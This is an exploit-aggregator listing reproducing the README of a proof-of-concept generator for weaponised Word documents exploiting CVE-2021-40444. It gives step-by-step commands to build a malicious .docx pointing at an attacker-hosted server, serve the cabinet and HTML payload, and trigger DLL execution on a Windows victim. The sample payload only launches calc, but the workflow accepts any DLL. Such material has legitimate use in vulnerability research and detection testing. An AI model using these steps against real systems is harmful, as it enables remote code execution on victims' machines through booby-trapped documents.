Sploitus

CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

kitploit Β· 2021-09-16

Exploit Code

MARKDOWN55 lines
## https://sploitus.com/exploit?id=KITPLOIT:3697667464193804316
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBRLsHOIkSfDpSbw4ogU9OrS05SNI3Q_cjmdeQP8E73qlM-6sg6JgX9eno4zObp7ZbwAgHa8TfLCKfUWSbMYYxEGW2MHPIfeq-93TSrg9cwQJM1n11seq6339QAZQVMg9bEN39fUk_keFv/w640-h356/CVE-2021-40444_3_calc.png)

  


Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

  


Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)

You need to install lcab first (`sudo apt-get install lcab`)

Check `REPRODUCE.md` for manual reproduce steps

If your generated cab is not working, try pointing out exploit.html URL to calc.cab

  
**Using**  


First generate a malicious docx document given a DLL, you can use the one at `test/calc.dll` which just pops a `calc.exe` from a call to `system()`

`python3 exploit.py generate test/calc.dll http://<SRV IP>`

  


![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_jD1-8mNIftD2QtpQT6AV25uc8kcg9YhLCj3ZI1ye3VQ_xeN0hGufyICRETkZUqUAs_J1OF97wMV0zjOL7JvQlXUFB0FYVY7n-yHvrRXKKlTkOUiZv0PAjn7Y1PsLgniCnAaPbgfp6Dbu/w640-h372/CVE-2021-40444_1_gen.png)

  


Once you generate the malicious docx (will be at `out/`) you can setup the server:

`sudo python3 exploit.py host 80`

  


![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi88iNl577_9MBPUU0TmBV-WbEmMV8AGklWHljE_brfePQ-kVbwqgqbNL0kPBnJwCq8i3vbylFGHfP-mEJcUsiAXU1BnDI7sK4dmwdFfExVY3vo57tAIgKtCaZoVffg5oPHS7j6T7A3ULkn/w640-h502/CVE-2021-40444_2_srv.png)

  


Finally try the docx in a Windows Virtual Machine:

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBRLsHOIkSfDpSbw4ogU9OrS05SNI3Q_cjmdeQP8E73qlM-6sg6JgX9eno4zObp7ZbwAgHa8TfLCKfUWSbMYYxEGW2MHPIfeq-93TSrg9cwQJM1n11seq6339QAZQVMg9bEN39fUk_keFv/w640-h356/CVE-2021-40444_3_calc.png)

  


**Download CVE-2021-40444**